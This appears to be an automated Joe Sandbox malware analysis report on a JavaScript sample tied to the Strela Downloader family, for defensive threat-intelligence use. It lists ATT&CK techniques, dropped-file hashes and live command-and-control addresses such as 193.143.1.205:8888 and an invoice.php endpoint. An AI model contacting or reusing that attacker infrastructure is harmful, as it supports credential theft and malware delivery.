Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3254519122657813770.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/O	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/s	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/3	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2800558279.000002563AA00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1561186422.000002563A870000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1562228406.000001D908E08000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1562228406.000001D908E65000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1562228406.000001D908E31000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/3	net.exe, 00000007.00000002.1562228406.000001D908E31000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/s	net.exe, 00000007.00000002.1562228406.000001D908E08000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/O	net.exe, 00000007.00000002.1562228406.000001D908E31000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587567
Start date and time:	2025-01-10 15:00:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3254519122657813770.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 54.224.241.105, 34.237.241.83, 50.16.47.176, 18.213.11.84, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 4.245.163.56, 96.17.64.171, 172.202.163.200, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
09:01:20	API Interceptor	22x Sleep call for process: powershell.exe modified
09:01:24	API Interceptor	1x Sleep call for process: net.exe modified
09:01:24	API Interceptor	2x Sleep call for process: svchost.exe modified
09:01:32	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1136121895118314851.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	705722057165658523.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	571464521086425926.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	A5815BC0-FA26-4ECC-9A97-EE9DB31273CA_12272024154104847.dll	Get hash	malicious	Unknown	Browse	199.232.210.172
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1136121895118314851.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	705722057165658523.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18474255912080825433.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	571464521086425926.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27311161302332319656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.802180077471069
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAg:RJE+Lfki1GjHwU/+vVhWqpJ
MD5:	AC05D65C53621C9F2A9243F22C3F9BB9
SHA1:	9AE9B07AABC51BDB41B4964E8F31712ED5BF11BD
SHA-256:	E180BBA118C9BB48380DF03737530182A5F0644E14EA35E76DAE34E061BE71D1
SHA-512:	262A44B4743A6D893285BA4F7DA2B95B198DFC6E4984E8534FC56B038F9CEBF3971B9646482BA0B1B16445B19F4E22A7C91E43F4F654C342EB44DFAB8B7A01F2
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x4c8fc01d, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433182745831781
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:bazaHvxXy2V2UR
MD5:	9847F0E0AE654872E9CFC463718CD18E
SHA1:	99A4E813510DFE7ADFA258D68770E0598589E49F
SHA-256:	CB3DDDF62DF691209E88E52571C858258DE2FC7DCF6F72926AB500002172658D
SHA-512:	892FC3D5433C652494227F4475680A5099E2F687D66AAB74CB84751255AF236617FA1A956111663DBFDB305BA086C915381742CF260D508E5B7A7A6288D47B75
Malicious:	false
Preview:	L...... ...............X\...;...{......................0.x...... ...{s......}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................D?$\|.....}...................rW......}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08131123874616777
Encrypted:	false
SSDEEP:	3:/aStEYeKi8HFtql/nqlFcl1ZUllllu6r2l/AllGBnX/l/Tj/k7/t:f6zgXql/qlFclQ/l46atA254
MD5:	DFD20F35179E8741A0AA2FEC696F175B
SHA1:	138C510B0EB958B0B646ACA65B3D7DE08AC513FA
SHA-256:	8AD61645E74AC20CE82175C2627808EB43BC52D581B06EE143BED46BDD1E65C9
SHA-512:	682FE38CFE445C19E6269239DAB0F973461692DB832D688F20BF41BF19A21EF304806AC3ECB9A0D949CC68EA120D50ECD15236F4F3B5D8193484D1759D09194C
Malicious:	false
Preview:	.!5j.....................................;...{.......}... ...{s.......... ...{s.. ...{s.P.... ...{s..................rW......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.202719522243879
Encrypted:	false
SSDEEP:	6:iO4ofZ/jIq2PCHhJ2nKuAl9OmbnIFUtSofZa0ZmwsofZa0kwOCHhJ2nKuAl9Omb5:7vR/MvBHAahFUtRRL/7RB56HAaSJ
MD5:	ABD91E9A2DDE06CC470E1EB2B4FD2E98
SHA1:	7A6113BCF572705E5D1396E3A2A669CAF9169EBE
SHA-256:	FD995F28C12081F03C46C5D7F5BFEDD0CE524292BE109A17BE38AC0E156AE0F8
SHA-512:	5585F071B61C67A72A4F2BBD229F0EDE42D6E5B1AF22C47A8FF8B0F09E7C306D3B5F6DCF28AC657538F88F548CF6BABAD04FCD4BF22878F21FEED05A3A683F7D
Malicious:	false
Preview:	2025/01/10-09:01:24.466 1544 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-09:01:24.468 1544 Recovering log #3.2025/01/10-09:01:24.468 1544 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.202719522243879
Encrypted:	false
SSDEEP:	6:iO4ofZ/jIq2PCHhJ2nKuAl9OmbnIFUtSofZa0ZmwsofZa0kwOCHhJ2nKuAl9Omb5:7vR/MvBHAahFUtRRL/7RB56HAaSJ
MD5:	ABD91E9A2DDE06CC470E1EB2B4FD2E98
SHA1:	7A6113BCF572705E5D1396E3A2A669CAF9169EBE
SHA-256:	FD995F28C12081F03C46C5D7F5BFEDD0CE524292BE109A17BE38AC0E156AE0F8
SHA-512:	5585F071B61C67A72A4F2BBD229F0EDE42D6E5B1AF22C47A8FF8B0F09E7C306D3B5F6DCF28AC657538F88F548CF6BABAD04FCD4BF22878F21FEED05A3A683F7D
Malicious:	false
Preview:	2025/01/10-09:01:24.466 1544 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-09:01:24.468 1544 Recovering log #3.2025/01/10-09:01:24.468 1544 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.184827170212786
Encrypted:	false
SSDEEP:	6:iO4ofZSVq2PCHhJ2nKuAl9Ombzo2jMGIFUtSofZVgZmwsofZVIkwOCHhJ2nKuAlx:7vROvBHAa8uFUtRRS/7Re56HAa8RJ
MD5:	E60726A0F6AC252AE01880F45DF09CE4
SHA1:	3A33466E3A6CF65AC3BB91080283B3F7EEC54443
SHA-256:	CDC3B68291B26976DA52707ADA28527B1763D22841D11F74AC7E70F067D722A6
SHA-512:	3E7213C92D5EB15B0AF53E0F373D337C297113663C1EFD36BB51835A837EFB157C2E2DB7A97BD7229C8E822F248D484DDF88F04865497FE42A2A04DADB64DAC2
Malicious:	false
Preview:	2025/01/10-09:01:24.648 1870 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-09:01:24.650 1870 Recovering log #3.2025/01/10-09:01:24.650 1870 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.184827170212786
Encrypted:	false
SSDEEP:	6:iO4ofZSVq2PCHhJ2nKuAl9Ombzo2jMGIFUtSofZVgZmwsofZVIkwOCHhJ2nKuAlx:7vROvBHAa8uFUtRRS/7Re56HAa8RJ
MD5:	E60726A0F6AC252AE01880F45DF09CE4
SHA1:	3A33466E3A6CF65AC3BB91080283B3F7EEC54443
SHA-256:	CDC3B68291B26976DA52707ADA28527B1763D22841D11F74AC7E70F067D722A6
SHA-512:	3E7213C92D5EB15B0AF53E0F373D337C297113663C1EFD36BB51835A837EFB157C2E2DB7A97BD7229C8E822F248D484DDF88F04865497FE42A2A04DADB64DAC2
Malicious:	false
Preview:	2025/01/10-09:01:24.648 1870 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-09:01:24.650 1870 Recovering log #3.2025/01/10-09:01:24.650 1870 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\08a904f7-6791-4045-b288-4f54e52f1ae0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.974284279115877
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq24hsBdOg2HFcaq3QYiub6P7E4T3y:Y2sRdstbdMHk3QYhbS7nby
MD5:	1588C719AFCB8034271B6BF7E0D89FD2
SHA1:	067A65E4A916277546078F8DCFED2C0F80B04901
SHA-256:	334E67E652513C5125184F1C07F655C1A9EF59FDF4D9C3F255C3B8BD534D3B1D
SHA-512:	6589DE28FD7DA96E7CEAE8ED4B0D67174B62F6B39643C9A9287A9591C6232660FF902C8987E1B784BD29D9CE9F677BAB3E254C2637A9C0899F3A33940E085398
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381077696254074","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126161},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.974284279115877
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq24hsBdOg2HFcaq3QYiub6P7E4T3y:Y2sRdstbdMHk3QYhbS7nby
MD5:	1588C719AFCB8034271B6BF7E0D89FD2
SHA1:	067A65E4A916277546078F8DCFED2C0F80B04901
SHA-256:	334E67E652513C5125184F1C07F655C1A9EF59FDF4D9C3F255C3B8BD534D3B1D
SHA-512:	6589DE28FD7DA96E7CEAE8ED4B0D67174B62F6B39643C9A9287A9591C6232660FF902C8987E1B784BD29D9CE9F677BAB3E254C2637A9C0899F3A33940E085398
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381077696254074","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126161},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2324894328625255
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bK19LDdm:S43C4mS7fFi0KFYDjr3LWO3V3aw+bK1m
MD5:	68872A69914DD646C3903B7E7934ADD3
SHA1:	2895151063924F1018F7FCF4A683F6824FEBD579
SHA-256:	19A5758EC413304C83781647B47B4F31192DE021DEC203481BDC5C8CE5B6065C
SHA-512:	56447E9FC0A67AAD017962EA0174328214CCD1C03E397573D097030C750610BDC830E015E32A718184F0ECE1D5E965D5036976F962A2B64CF4F28B02E97106B7
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1896429423599
Encrypted:	false
SSDEEP:	6:iO4ofZuVq2PCHhJ2nKuAl9OmbzNMxIFUtSofZqYgZmwsofZjSIkwOCHhJ2nKuAlG:7vRKvBHAa8jFUtRR+/7RjF56HAa84J
MD5:	E7089F1DE8E4E58630539DFE53A984CC
SHA1:	C83BBDD6EFEC1431D8151EB5950647A421D0E8CC
SHA-256:	B204423CE1AF142B2ABB6177D994F96B86E634E0F89E18E87366676753126CF7
SHA-512:	C1768CAE803E7770DF8402D28DA8FFCDCFB4E67B77300F7952CF5350CCE5F926CB9ECF30A8729CA60C76F43C22520B57D1E76F9D2FB3B5460E7F309D2D3EA24B
Malicious:	false
Preview:	2025/01/10-09:01:24.873 1870 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-09:01:24.885 1870 Recovering log #3.2025/01/10-09:01:24.891 1870 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1896429423599
Encrypted:	false
SSDEEP:	6:iO4ofZuVq2PCHhJ2nKuAl9OmbzNMxIFUtSofZqYgZmwsofZjSIkwOCHhJ2nKuAlG:7vRKvBHAa8jFUtRR+/7RjF56HAa84J
MD5:	E7089F1DE8E4E58630539DFE53A984CC
SHA1:	C83BBDD6EFEC1431D8151EB5950647A421D0E8CC
SHA-256:	B204423CE1AF142B2ABB6177D994F96B86E634E0F89E18E87366676753126CF7
SHA-512:	C1768CAE803E7770DF8402D28DA8FFCDCFB4E67B77300F7952CF5350CCE5F926CB9ECF30A8729CA60C76F43C22520B57D1E76F9D2FB3B5460E7F309D2D3EA24B
Malicious:	false
Preview:	2025/01/10-09:01:24.873 1870 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-09:01:24.885 1870 Recovering log #3.2025/01/10-09:01:24.891 1870 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
